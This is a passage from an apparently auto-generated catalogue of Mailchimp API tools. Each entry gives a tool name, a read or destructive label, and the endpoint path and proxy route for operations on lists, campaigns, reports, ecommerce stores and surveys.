DELETE /ecommerce/stores/{store_id} DELETE /api/v1/mailchimp/ecommerce/stores/{store_id}. Scopes: api. mailchimp_delete_ecommerce_stores_by_store_id_carts_by_cart_id (write, destructive) — Delete ecommerce store cart via DELETE /ecommerce/stores/{store_id}/carts/{cart_id} DELETE /api/v1/mailchimp/ecommerce/stores/{store_id}/carts/{cart_id}. Scopes: api. mailchimp_delete_ecommerce_stores_by_store_id_carts_by_cart_id_lines_by_line_id (write, destructive) — Delete ecommerce store cart line via DELETE /ecommerce/stores/{store_id}/carts/{cart_id}/lines/{line_id} DELETE /api/v1/mailchimp/ecommerce/stores/{store_id}/carts/{cart_id}/lines/{line_id}. Scopes: api. mailchimp_delete_ecommerce_stores_by_store_id_customers_by_customer_id (write, destructive) — Delete ecommerce store customer via DELETE /ecommerce/stores/{store_id}/customers/{customer_id} DELETE /api/v1/mailchimp/ecommerce/stores/{store_id}/customers/{customer_id}. Scopes: api. mailchimp_delete_ecommerce_stores_by_store_id_orders_by_order_id (write, destructive) — Delete ecommerce store order via DELETE /ecommerce/stores/{store_id}/orders/{order_id} DELETE /api/v1/mailchimp/ecommerce/stores/{store_id}/orders/{order_id}. Scopes: api. mailchimp_delete_ecommerce_stores_by_store_id_orders_by_order_id_lines_by_line_id (write, destructive) — Delete ecommerce store order line via DELETE /ecommerce/stores/{store_id}/orders/{order_id}/lines/{line_id} DELETE /api/v1/mailchimp/ecommerce/stores/{store_id}/orders/{order_id}/lines/{line_id}. Scopes: api. mailchimp_delete_ecommerce_stores_by_store_id_products_by_product_id (write, destructive) — Delete ecommerce store product via DELETE /ecommerce/stores/{store_id}/products/{product_id} DELETE /api/v1/mailchimp/ecommerce/stores/{store_id}/products/{product_id}. Scopes: api. mailchimp_delete_ecommerce_stores_by_store_id_products_by_product_id_images_by_image_id (write, destructive) — Delete ecommerce store product image via DELETE /ecommerce/stores/{store_id}/products/{product_id}/images/{image_id} DELETE /api/v1/mailchimp/ecommerce/stores/{store_id}/products/{product_id}/images/{image_id}. Scopes: api. mailchimp_delete_ecommerce_stores_by_store_id_products_by_product_id_variants_by_variant_id (write, destructive) — Delete ecommerce store product variant via DELETE /ecommerce/stores/{store_id}/products/{product_id}/variants/{variant_id} DELETE /api/v1/mailchimp/ecommerce/stores/{store_id}/products/{product_id}/variants/{variant_id}. Scopes: api. mailchimp_delete_ecommerce_stores_by_store_id_promo_rules_by_promo_rule_id (write, destructive) — Delete ecommerce store promo rule via DELETE /ecommerce/stores/{store_id}/promo-rules/{promo_rule_id} DELETE /api/v1/mailchimp/ecommerce/stores/{store_id}/promo-rules/{promo_rule_id}. Scopes: api. mailchimp_delete_ecommerce_stores_by_store_id_promo_rules_by_promo_rule_id_promo_codes_by_promo_code_id (write, destructive) — Delete ecommerce store promo rule promo code via DELETE /ecommerce/stores/{store_id}/promo-rules/{promo_rule_id}/promo-codes/{promo_code_id} DELETE /api/v1/mailchimp/ecommerce/stores/{store_id}/promo-rules/{promo_rule_id}/promo-codes/{promo_code_id}. Scopes: api. mailchimp_delete_file_manager_files_by_file_id (write, destructive) — Delete file manager file via DELETE /file-manager/files/{file_id} DELETE /api/v1/mailchimp/file-manager/files/{file_id}. Scopes: api. mailchimp_delete_file_manager_folders_by_folder_id (write, destructive) — Delete file manager folder via DELETE /file-manager/folders/{folder_id} DELETE /api/v1/mailchimp/file-manager/folders/{folder_id}. Scopes: api. mailchimp_delete_landing_pages_by_page_id (write, destructive) — Delete landing page via DELETE /landing-pages/{page_id} DELETE /api/v1/mailchimp/landing-pages/{page_id}. Scopes: api. mailchimp_delete_lists_by_list_id (write, destructive) — Delete list via DELETE /lists/{list_id} DELETE /api/v1/mailchimp/lists/{list_id}. Scopes: api. mailchimp_delete_lists_by_list_id_interest_categories_by_interest_category_id (write, destructive) — Delete list interest category via DELETE /lists/{list_id}/interest-categories/{interest_category_id} DELETE /api/v1/mailchimp/lists/{list_id}/interest-categories/{interest_category_id}. Scopes: api. mailchimp_delete_lists_by_list_id_interest_categories_by_interest_category_id_interests_by_interest_id (write, destructive) — Delete list interest category interest via DELETE /lists/{list_id}/interest-categories/{interest_category_id}/interests/{interest_id} DELETE /api/v1/mailchimp/lists/{list_id}/interest-categories/{interest_category_id}/interests/{interest_id}. Scopes: api. mailchimp_delete_lists_by_list_id_members_by_subscriber_hash (write, destructive) — Delete list member via DELETE /lists/{list_id}/members/{subscriber_hash} DELETE /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}. Scopes: api. mailchimp_delete_lists_by_list_id_members_by_subscriber_hash_notes_by_note_id (write, destructive) — Delete list member note via DELETE /lists/{list_id}/members/{subscriber_hash}/notes/{note_id} DELETE /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}/notes/{note_id}. Scopes: api. mailchimp_delete_lists_by_list_id_merge_fields_by_merge_id (write, destructive) — Delete list merge field via DELETE /lists/{list_id}/merge-fields/{merge_id} DELETE /api/v1/mailchimp/lists/{list_id}/merge-fields/{merge_id}. Scopes: api. mailchimp_delete_lists_by_list_id_segments_by_segment_id (write, destructive) — Delete list segment via DELETE /lists/{list_id}/segments/{segment_id} DELETE /api/v1/mailchimp/lists/{list_id}/segments/{segment_id}. Scopes: api. mailchimp_delete_lists_by_list_id_segments_by_segment_id_members_by_subscriber_hash (write, destructive) — Delete list segment member via DELETE /lists/{list_id}/segments/{segment_id}/members/{subscriber_hash} DELETE /api/v1/mailchimp/lists/{list_id}/segments/{segment_id}/members/{subscriber_hash}. Scopes: api. mailchimp_delete_lists_by_list_id_surveys_by_survey_id (write, destructive) — Delete list survey via DELETE /lists/{list_id}/surveys/{survey_id} DELETE /api/v1/mailchimp/lists/{list_id}/surveys/{survey_id}. Scopes: api. mailchimp_delete_lists_by_list_id_webhooks_by_webhook_id (write, destructive) — Delete list webhook via DELETE /lists/{list_id}/webhooks/{webhook_id} DELETE /api/v1/mailchimp/lists/{list_id}/webhooks/{webhook_id}. Scopes: api. mailchimp_delete_sms_campaigns_by_sms_campaign_id (write, destructive) — Delete SMS campaign via DELETE /sms-campaigns/{sms_campaign_id} DELETE /api/v1/mailchimp/sms-campaigns/{sms_campaign_id}. Scopes: api. mailchimp_delete_template_folders_by_folder_id (write, destructive) — Delete template folder via DELETE /template-folders/{folder_id} DELETE /api/v1/mailchimp/template-folders/{folder_id}. Scopes: api. mailchimp_delete_templates_by_template_id (write, destructive) — Delete template via DELETE /templates/{template_id} DELETE /api/v1/mailchimp/templates/{template_id}. Scopes: api. mailchimp_delete_verified_domains_by_domain_name (write, destructive) — Delete verified domain via DELETE /verified-domains/{domain_name} DELETE /api/v1/mailchimp/verified-domains/{domain_name}. Scopes: api. mailchimp_get (read) — Get API root via GET / GET /api/v1/mailchimp/. Scopes: api. mailchimp_get_account_exports (read) — List account exports via GET /account-exports GET /api/v1/mailchimp/account-exports. Scopes: api. mailchimp_get_account_exports_by_export_id (read) — Get account export via GET /account-exports/{export_id} GET /api/v1/mailchimp/account-exports/{export_id}. Scopes: api. mailchimp_get_activity_feed_chimp_chatter (read) — List Chimp Chatter activity via GET /activity-feed/chimp-chatter GET /api/v1/mailchimp/activity-feed/chimp-chatter. Scopes: api. mailchimp_get_audiences (read) — List audiences via GET /audiences GET /api/v1/mailchimp/audiences. Scopes: api. mailchimp_get_audiences_by_audience_id (read) — Get audience via GET /audiences/{audience_id} GET /api/v1/mailchimp/audiences/{audience_id}. Scopes: api. mailchimp_get_audiences_by_audience_id_contacts (read) — List audience contacts via GET /audiences/{audience_id}/contacts GET /api/v1/mailchimp/audiences/{audience_id}/contacts. Scopes: api. mailchimp_get_audiences_by_audience_id_contacts_by_contact_id (read) — Get audience contact via GET /audiences/{audience_id}/contacts/{contact_id} GET /api/v1/mailchimp/audiences/{audience_id}/contacts/{contact_id}. Scopes: api. mailchimp_get_authorized_apps (read) — List authorized apps via GET /authorized-apps GET /api/v1/mailchimp/authorized-apps. Scopes: api. mailchimp_get_authorized_apps_by_app_id (read) — Get authorized app via GET /authorized-apps/{app_id} GET /api/v1/mailchimp/authorized-apps/{app_id}. Scopes: api. mailchimp_get_automations (read) — List automations via GET /automations GET /api/v1/mailchimp/automations. Scopes: api. mailchimp_get_automations_by_workflow_id (read) — Get automation via GET /automations/{workflow_id} GET /api/v1/mailchimp/automations/{workflow_id}. Scopes: api. mailchimp_get_automations_by_workflow_id_emails (read) — List automation emails via GET /automations/{workflow_id}/emails GET /api/v1/mailchimp/automations/{workflow_id}/emails. Scopes: api. mailchimp_get_automations_by_workflow_id_emails_by_workflow_email_id (read) — Get automation email via GET /automations/{workflow_id}/emails/{workflow_email_id} GET /api/v1/mailchimp/automations/{workflow_id}/emails/{workflow_email_id}. Scopes: api. mailchimp_get_automations_by_workflow_id_emails_by_workflow_email_id_queue (read) — List automation email queue via GET /automations/{workflow_id}/emails/{workflow_email_id}/queue GET /api/v1/mailchimp/automations/{workflow_id}/emails/{workflow_email_id}/queue. Scopes: api. mailchimp_get_automations_by_workflow_id_emails_by_workflow_email_id_queue_by_subscriber_hash (read) — Get automation email queue via GET /automations/{workflow_id}/emails/{workflow_email_id}/queue/{subscriber_hash} GET /api/v1/mailchimp/automations/{workflow_id}/emails/{workflow_email_id}/queue/{subscriber_hash}. Scopes: api. mailchimp_get_automations_by_workflow_id_removed_subscribers (read) — List automation removed subscribers via GET /automations/{workflow_id}/removed-subscribers GET /api/v1/mailchimp/automations/{workflow_id}/removed-subscribers. Scopes: api. mailchimp_get_automations_by_workflow_id_removed_subscribers_by_subscriber_hash (read) — Get automation removed subscriber via GET /automations/{workflow_id}/removed-subscribers/{subscriber_hash} GET /api/v1/mailchimp/automations/{workflow_id}/removed-subscribers/{subscriber_hash}. Scopes: api. mailchimp_get_batch_webhooks (read) — List batch webhooks via GET /batch-webhooks GET /api/v1/mailchimp/batch-webhooks. Scopes: api. mailchimp_get_batch_webhooks_by_batch_webhook_id (read) — Get batch webhook via GET /batch-webhooks/{batch_webhook_id} GET /api/v1/mailchimp/batch-webhooks/{batch_webhook_id}. Scopes: api. mailchimp_get_batches (read) — List batches via GET /batches GET /api/v1/mailchimp/batches. Scopes: api. mailchimp_get_batches_by_batch_id (read) — Get batch via GET /batches/{batch_id} GET /api/v1/mailchimp/batches/{batch_id}. Scopes: api. mailchimp_get_campaign_folders (read) — List campaign folders via GET /campaign-folders GET /api/v1/mailchimp/campaign-folders. Scopes: api. mailchimp_get_campaign_folders_by_folder_id (read) — Get campaign folder via GET /campaign-folders/{folder_id} GET /api/v1/mailchimp/campaign-folders/{folder_id}. Scopes: api. mailchimp_get_campaigns (read) — List campaigns via GET /campaigns GET /api/v1/mailchimp/campaigns. Scopes: api. mailchimp_get_campaigns_by_campaign_id (read) — Get campaign via GET /campaigns/{campaign_id} GET /api/v1/mailchimp/campaigns/{campaign_id}. Scopes: api. mailchimp_get_campaigns_by_campaign_id_content (read) — Get campaign content via GET /campaigns/{campaign_id}/content GET /api/v1/mailchimp/campaigns/{campaign_id}/content. Scopes: api. mailchimp_get_campaigns_by_campaign_id_feedback (read) — List campaign feedback via GET /campaigns/{campaign_id}/feedback GET /api/v1/mailchimp/campaigns/{campaign_id}/feedback. Scopes: api. mailchimp_get_campaigns_by_campaign_id_feedback_by_feedback_id (read) — Get campaign feedback via GET /campaigns/{campaign_id}/feedback/{feedback_id} GET /api/v1/mailchimp/campaigns/{campaign_id}/feedback/{feedback_id}. Scopes: api. mailchimp_get_campaigns_by_campaign_id_send_checklist (read) — Get campaign send checklist via GET /campaigns/{campaign_id}/send-checklist GET /api/v1/mailchimp/campaigns/{campaign_id}/send-checklist. Scopes: api. mailchimp_get_connected_sites (read) — List connected sites via GET /connected-sites GET /api/v1/mailchimp/connected-sites. Scopes: api. mailchimp_get_connected_sites_by_connected_site_id (read) — Get connected site via GET /connected-sites/{connected_site_id} GET /api/v1/mailchimp/connected-sites/{connected_site_id}. Scopes: api. mailchimp_get_conversations (read) — List conversations via GET /conversations GET /api/v1/mailchimp/conversations. Scopes: api. mailchimp_get_conversations_by_conversation_id (read) — Get conversation via GET /conversations/{conversation_id} GET /api/v1/mailchimp/conversations/{conversation_id}. Scopes: api. mailchimp_get_conversations_by_conversation_id_messages (read) — List conversation messages via GET /conversations/{conversation_id}/messages GET /api/v1/mailchimp/conversations/{conversation_id}/messages. Scopes: api. mailchimp_get_conversations_by_conversation_id_messages_by_message_id (read) — Get conversation message via GET /conversations/{conversation_id}/messages/{message_id} GET /api/v1/mailchimp/conversations/{conversation_id}/messages/{message_id}. Scopes: api. mailchimp_get_ecommerce_orders (read) — List ecommerce orders via GET /ecommerce/orders GET /api/v1/mailchimp/ecommerce/orders. Scopes: api. mailchimp_get_ecommerce_stores (read) — List ecommerce stores via GET /ecommerce/stores GET /api/v1/mailchimp/ecommerce/stores. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id (read) — Get ecommerce store via GET /ecommerce/stores/{store_id} GET /api/v1/mailchimp/ecommerce/stores/{store_id}. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_carts (read) — List ecommerce store carts via GET /ecommerce/stores/{store_id}/carts GET /api/v1/mailchimp/ecommerce/stores/{store_id}/carts. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_carts_by_cart_id (read) — Get ecommerce store cart via GET /ecommerce/stores/{store_id}/carts/{cart_id} GET /api/v1/mailchimp/ecommerce/stores/{store_id}/carts/{cart_id}. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_carts_by_cart_id_lines (read) — List ecommerce store cart lines via GET /ecommerce/stores/{store_id}/carts/{cart_id}/lines GET /api/v1/mailchimp/ecommerce/stores/{store_id}/carts/{cart_id}/lines. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_carts_by_cart_id_lines_by_line_id (read) — Get ecommerce store cart line via GET /ecommerce/stores/{store_id}/carts/{cart_id}/lines/{line_id} GET /api/v1/mailchimp/ecommerce/stores/{store_id}/carts/{cart_id}/lines/{line_id}. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_customers (read) — List ecommerce store customers via GET /ecommerce/stores/{store_id}/customers GET /api/v1/mailchimp/ecommerce/stores/{store_id}/customers. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_customers_by_customer_id (read) — Get ecommerce store customer via GET /ecommerce/stores/{store_id}/customers/{customer_id} GET /api/v1/mailchimp/ecommerce/stores/{store_id}/customers/{customer_id}. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_orders (read) — List ecommerce store orders via GET /ecommerce/stores/{store_id}/orders GET /api/v1/mailchimp/ecommerce/stores/{store_id}/orders. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_orders_by_order_id (read) — Get ecommerce store order via GET /ecommerce/stores/{store_id}/orders/{order_id} GET /api/v1/mailchimp/ecommerce/stores/{store_id}/orders/{order_id}. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_orders_by_order_id_lines (read) — List ecommerce store order lines via GET /ecommerce/stores/{store_id}/orders/{order_id}/lines GET /api/v1/mailchimp/ecommerce/stores/{store_id}/orders/{order_id}/lines. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_orders_by_order_id_lines_by_line_id (read) — Get ecommerce store order line via GET /ecommerce/stores/{store_id}/orders/{order_id}/lines/{line_id} GET /api/v1/mailchimp/ecommerce/stores/{store_id}/orders/{order_id}/lines/{line_id}. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_products (read) — List ecommerce store products via GET /ecommerce/stores/{store_id}/products GET /api/v1/mailchimp/ecommerce/stores/{store_id}/products. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_products_by_product_id (read) — Get ecommerce store product via GET /ecommerce/stores/{store_id}/products/{product_id} GET /api/v1/mailchimp/ecommerce/stores/{store_id}/products/{product_id}. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_products_by_product_id_images (read) — List ecommerce store product images via GET /ecommerce/stores/{store_id}/products/{product_id}/images GET /api/v1/mailchimp/ecommerce/stores/{store_id}/products/{product_id}/images. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_products_by_product_id_images_by_image_id (read) — Get ecommerce store product image via GET /ecommerce/stores/{store_id}/products/{product_id}/images/{image_id} GET /api/v1/mailchimp/ecommerce/stores/{store_id}/products/{product_id}/images/{image_id}. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_products_by_product_id_variants (read) — List ecommerce store product variants via GET /ecommerce/stores/{store_id}/products/{product_id}/variants GET /api/v1/mailchimp/ecommerce/stores/{store_id}/products/{product_id}/variants. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_products_by_product_id_variants_by_variant_id (read) — Get ecommerce store product variant via GET /ecommerce/stores/{store_id}/products/{product_id}/variants/{variant_id} GET /api/v1/mailchimp/ecommerce/stores/{store_id}/products/{product_id}/variants/{variant_id}. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_promo_rules (read) — List ecommerce store promo rules via GET /ecommerce/stores/{store_id}/promo-rules GET /api/v1/mailchimp/ecommerce/stores/{store_id}/promo-rules. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_promo_rules_by_promo_rule_id (read) — Get ecommerce store promo rule via GET /ecommerce/stores/{store_id}/promo-rules/{promo_rule_id} GET /api/v1/mailchimp/ecommerce/stores/{store_id}/promo-rules/{promo_rule_id}. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_promo_rules_by_promo_rule_id_promo_codes (read) — List ecommerce store promo rule promo codes via GET /ecommerce/stores/{store_id}/promo-rules/{promo_rule_id}/promo-codes GET /api/v1/mailchimp/ecommerce/stores/{store_id}/promo-rules/{promo_rule_id}/promo-codes. Scopes: api. mailchimp_get_ecommerce_stores_by_store_id_promo_rules_by_promo_rule_id_promo_codes_by_promo_code_id (read) — Get ecommerce store promo rule promo code via GET /ecommerce/stores/{store_id}/promo-rules/{promo_rule_id}/promo-codes/{promo_code_id} GET /api/v1/mailchimp/ecommerce/stores/{store_id}/promo-rules/{promo_rule_id}/promo-codes/{promo_code_id}. Scopes: api. mailchimp_get_facebook_ads (read) — List facebook ads via GET /facebook-ads GET /api/v1/mailchimp/facebook-ads. Scopes: api. mailchimp_get_facebook_ads_by_outreach_id (read) — Get facebook ad via GET /facebook-ads/{outreach_id} GET /api/v1/mailchimp/facebook-ads/{outreach_id}. Scopes: api. mailchimp_get_file_manager_files (read) — List file manager files via GET /file-manager/files GET /api/v1/mailchimp/file-manager/files. Scopes: api. mailchimp_get_file_manager_files_by_file_id (read) — Get file manager file via GET /file-manager/files/{file_id} GET /api/v1/mailchimp/file-manager/files/{file_id}. Scopes: api. mailchimp_get_file_manager_folders (read) — List file manager folders via GET /file-manager/folders GET /api/v1/mailchimp/file-manager/folders. Scopes: api. mailchimp_get_file_manager_folders_by_folder_id (read) — Get file manager folder via GET /file-manager/folders/{folder_id} GET /api/v1/mailchimp/file-manager/folders/{folder_id}. Scopes: api. mailchimp_get_file_manager_folders_by_folder_id_files (read) — List file manager folder files via GET /file-manager/folders/{folder_id}/files GET /api/v1/mailchimp/file-manager/folders/{folder_id}/files. Scopes: api. mailchimp_get_landing_pages (read) — List landing pages via GET /landing-pages GET /api/v1/mailchimp/landing-pages. Scopes: api. mailchimp_get_landing_pages_by_page_id (read) — Get landing page via GET /landing-pages/{page_id} GET /api/v1/mailchimp/landing-pages/{page_id}. Scopes: api. mailchimp_get_landing_pages_by_page_id_content (read) — Get landing page content via GET /landing-pages/{page_id}/content GET /api/v1/mailchimp/landing-pages/{page_id}/content. Scopes: api. mailchimp_get_lists (read) — List lists via GET /lists GET /api/v1/mailchimp/lists. Scopes: api. mailchimp_get_lists_by_list_id (read) — Get list via GET /lists/{list_id} GET /api/v1/mailchimp/lists/{list_id}. Scopes: api. mailchimp_get_lists_by_list_id_abuse_reports (read) — List list abuse reports via GET /lists/{list_id}/abuse-reports GET /api/v1/mailchimp/lists/{list_id}/abuse-reports. Scopes: api. mailchimp_get_lists_by_list_id_abuse_reports_by_report_id (read) — Get list abuse report via GET /lists/{list_id}/abuse-reports/{report_id} GET /api/v1/mailchimp/lists/{list_id}/abuse-reports/{report_id}. Scopes: api. mailchimp_get_lists_by_list_id_activity (read) — List list activity via GET /lists/{list_id}/activity GET /api/v1/mailchimp/lists/{list_id}/activity. Scopes: api. mailchimp_get_lists_by_list_id_clients (read) — List list clients via GET /lists/{list_id}/clients GET /api/v1/mailchimp/lists/{list_id}/clients. Scopes: api. mailchimp_get_lists_by_list_id_growth_history (read) — List list growth history via GET /lists/{list_id}/growth-history GET /api/v1/mailchimp/lists/{list_id}/growth-history. Scopes: api. mailchimp_get_lists_by_list_id_growth_history_by_month (read) — Get list growth history via GET /lists/{list_id}/growth-history/{month} GET /api/v1/mailchimp/lists/{list_id}/growth-history/{month}. Scopes: api. mailchimp_get_lists_by_list_id_interest_categories (read) — List list interest categories via GET /lists/{list_id}/interest-categories GET /api/v1/mailchimp/lists/{list_id}/interest-categories. Scopes: api. mailchimp_get_lists_by_list_id_interest_categories_by_interest_category_id (read) — Get list interest category via GET /lists/{list_id}/interest-categories/{interest_category_id} GET /api/v1/mailchimp/lists/{list_id}/interest-categories/{interest_category_id}. Scopes: api. mailchimp_get_lists_by_list_id_interest_categories_by_interest_category_id_interests (read) — List list interest category interests via GET /lists/{list_id}/interest-categories/{interest_category_id}/interests GET /api/v1/mailchimp/lists/{list_id}/interest-categories/{interest_category_id}/interests. Scopes: api. mailchimp_get_lists_by_list_id_interest_categories_by_interest_category_id_interests_by_interest_id (read) — Get list interest category interest via GET /lists/{list_id}/interest-categories/{interest_category_id}/interests/{interest_id} GET /api/v1/mailchimp/lists/{list_id}/interest-categories/{interest_category_id}/interests/{interest_id}. Scopes: api. mailchimp_get_lists_by_list_id_locations (read) — List list locations via GET /lists/{list_id}/locations GET /api/v1/mailchimp/lists/{list_id}/locations. Scopes: api. mailchimp_get_lists_by_list_id_members (read) — List list members via GET /lists/{list_id}/members GET /api/v1/mailchimp/lists/{list_id}/members. Scopes: api. mailchimp_get_lists_by_list_id_members_by_subscriber_hash (read) — Get list member via GET /lists/{list_id}/members/{subscriber_hash} GET /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}. Scopes: api. mailchimp_get_lists_by_list_id_members_by_subscriber_hash_activity (read) — List list member activity via GET /lists/{list_id}/members/{subscriber_hash}/activity GET /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}/activity. Scopes: api. mailchimp_get_lists_by_list_id_members_by_subscriber_hash_activity_feed (read) — Get list member activity feed via GET /lists/{list_id}/members/{subscriber_hash}/activity-feed GET /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}/activity-feed. Scopes: api. mailchimp_get_lists_by_list_id_members_by_subscriber_hash_events (read) — List list member events via GET /lists/{list_id}/members/{subscriber_hash}/events GET /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}/events. Scopes: api. mailchimp_get_lists_by_list_id_members_by_subscriber_hash_goals (read) — List list member goals via GET /lists/{list_id}/members/{subscriber_hash}/goals GET /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}/goals. Scopes: api. mailchimp_get_lists_by_list_id_members_by_subscriber_hash_notes (read) — List list member notes via GET /lists/{list_id}/members/{subscriber_hash}/notes GET /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}/notes. Scopes: api. mailchimp_get_lists_by_list_id_members_by_subscriber_hash_notes_by_note_id (read) — Get list member note via GET /lists/{list_id}/members/{subscriber_hash}/notes/{note_id} GET /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}/notes/{note_id}. Scopes: api. mailchimp_get_lists_by_list_id_members_by_subscriber_hash_tags (read) — List list member tags via GET /lists/{list_id}/members/{subscriber_hash}/tags GET /api/v1/mailchimp/lists/{list_id}/members/{subscriber_hash}/tags. Scopes: api. mailchimp_get_lists_by_list_id_merge_fields (read) — List list merge fields via GET /lists/{list_id}/merge-fields GET /api/v1/mailchimp/lists/{list_id}/merge-fields. Scopes: api. mailchimp_get_lists_by_list_id_merge_fields_by_merge_id (read) — Get list merge field via GET /lists/{list_id}/merge-fields/{merge_id} GET /api/v1/mailchimp/lists/{list_id}/merge-fields/{merge_id}. Scopes: api. mailchimp_get_lists_by_list_id_segments (read) — List list segments via GET /lists/{list_id}/segments GET /api/v1/mailchimp/lists/{list_id}/segments. Scopes: api. mailchimp_get_lists_by_list_id_segments_by_segment_id (read) — Get list segment via GET /lists/{list_id}/segments/{segment_id} GET /api/v1/mailchimp/lists/{list_id}/segments/{segment_id}. Scopes: api. mailchimp_get_lists_by_list_id_segments_by_segment_id_members (read) — List list segment members via GET /lists/{list_id}/segments/{segment_id}/members GET /api/v1/mailchimp/lists/{list_id}/segments/{segment_id}/members. Scopes: api. mailchimp_get_lists_by_list_id_signup_forms (read) — List list signup forms via GET /lists/{list_id}/signup-forms GET /api/v1/mailchimp/lists/{list_id}/signup-forms. Scopes: api. mailchimp_get_lists_by_list_id_surveys (read) — List list surveys via GET /lists/{list_id}/surveys GET /api/v1/mailchimp/lists/{list_id}/surveys. Scopes: api. mailchimp_get_lists_by_list_id_surveys_by_survey_id (read) — Get list survey via GET /lists/{list_id}/surveys/{survey_id} GET /api/v1/mailchimp/lists/{list_id}/surveys/{survey_id}. Scopes: api. mailchimp_get_lists_by_list_id_tag_search (read) — Search list tags via GET /lists/{list_id}/tag-search GET /api/v1/mailchimp/lists/{list_id}/tag-search. Scopes: api. mailchimp_get_lists_by_list_id_webhooks (read) — List list webhooks via GET /lists/{list_id}/webhooks GET /api/v1/mailchimp/lists/{list_id}/webhooks. Scopes: api. mailchimp_get_lists_by_list_id_webhooks_by_webhook_id (read) — Get list webhook via GET /lists/{list_id}/webhooks/{webhook_id} GET /api/v1/mailchimp/lists/{list_id}/webhooks/{webhook_id}. Scopes: api. mailchimp_get_ping (read) — Ping the API via GET /ping GET /api/v1/mailchimp/ping. Scopes: api. mailchimp_get_reporting_facebook_ads (read) — List reporting facebook ads via GET /reporting/facebook-ads GET /api/v1/mailchimp/reporting/facebook-ads. Scopes: api. mailchimp_get_reporting_facebook_ads_by_outreach_id (read) — Get reporting facebook ad via GET /reporting/facebook-ads/{outreach_id} GET /api/v1/mailchimp/reporting/facebook-ads/{outreach_id}. Scopes: api. mailchimp_get_reporting_facebook_ads_by_outreach_id_ecommerce_product_activity (read) — List reporting facebook ad ecommerce product activity via GET /reporting/facebook-ads/{outreach_id}/ecommerce-product-activity GET /api/v1/mailchimp/reporting/facebook-ads/{outreach_id}/ecommerce-product-activity. Scopes: api. mailchimp_get_reporting_landing_pages (read) — List reporting landing pages via GET /reporting/landing-pages GET /api/v1/mailchimp/reporting/landing-pages. Scopes: api. mailchimp_get_reporting_landing_pages_by_outreach_id (read) — Get reporting landing page via GET /reporting/landing-pages/{outreach_id} GET /api/v1/mailchimp/reporting/landing-pages/{outreach_id}. Scopes: api. mailchimp_get_reporting_surveys (read) — List reporting surveys via GET /reporting/surveys GET /api/v1/mailchimp/reporting/surveys. Scopes: api. mailchimp_get_reporting_surveys_by_survey_id (read) — Get reporting survey via GET /reporting/surveys/{survey_id} GET /api/v1/mailchimp/reporting/surveys/{survey_id}. Scopes: api. mailchimp_get_reporting_surveys_by_survey_id_questions (read) — List reporting survey questions via GET /reporting/surveys/{survey_id}/questions GET /api/v1/mailchimp/reporting/surveys/{survey_id}/questions. Scopes: api. mailchimp_get_reporting_surveys_by_survey_id_questions_by_question_id (read) — Get reporting survey question via GET /reporting/surveys/{survey_id}/questions/{question_id} GET /api/v1/mailchimp/reporting/surveys/{survey_id}/questions/{question_id}. Scopes: api. mailchimp_get_reporting_surveys_by_survey_id_questions_by_question_id_answers (read) — List reporting survey question answers via GET /reporting/surveys/{survey_id}/questions/{question_id}/answers GET /api/v1/mailchimp/reporting/surveys/{survey_id}/questions/{question_id}/answers. Scopes: api. mailchimp_get_reporting_surveys_by_survey_id_responses (read) — List reporting survey responses via GET /reporting/surveys/{survey_id}/responses GET /api/v1/mailchimp/reporting/surveys/{survey_id}/responses. Scopes: api. mailchimp_get_reporting_surveys_by_survey_id_responses_by_response_id (read) — Get reporting survey response via GET /reporting/surveys/{survey_id}/responses/{response_id} GET /api/v1/mailchimp/reporting/surveys/{survey_id}/responses/{response_id}. Scopes: api. mailchimp_get_reports (read) — List reports via GET /reports GET /api/v1/mailchimp/reports. Scopes: api. mailchimp_get_reports_by_campaign_id (read) — Get report via GET /reports/{campaign_id} GET /api/v1/mailchimp/reports/{campaign_id}. Scopes: api. mailchimp_get_reports_by_campaign_id_abuse_reports (read) — List report abuse reports via GET /reports/{campaign_id}/abuse-reports GET /api/v1/mailchimp/reports/{campaign_id}/abuse-reports. Scopes: api. mailchimp_get_reports_by_campaign_id_abuse_reports_by_report_id (read) — Get report abuse report via GET /reports/{campaign_id}/abuse-reports/{report_id} GET /api/v1/mailchimp/reports/{campaign_id}/abuse-reports/{report_id}. Scopes: api. mailchimp_get_reports_by_campaign_id_advice (read) — List report advice via GET /reports/{campaign_id}/advice GET /api/v1/mailchimp/reports/{campaign_id}/advice. Scopes: api. mailchimp_get_reports_by_campaign_id_click_details (read) — List report click details via GET /reports/{campaign_id}/click-details GET /api/v1/mailchimp/reports/{campaign_id}/click-details. Scopes: api. mailchimp_get_reports_by_campaign_id_click_details_by_link_id (read) — Get report click detail via GET /reports/{campaign_id}/click-details/{link_id} GET /api/v1/mailchimp/reports/{campaign_id}/click-details/{link_id}. Scopes: api. mailchimp_get_reports_by_campaign_id_click_details_by_link_id_members (read) — List report click detail members via GET /reports/{campaign_id}/click-details/{link_id}/members GET /api/v1/mailchimp/reports/{campaign_id}/click-details/{link_id}/members. Scopes: api. mailchimp_get_reports_by_campaign_id_click_details_by_link_id_members_by_subscriber_hash (read) — Get report click detail member via GET 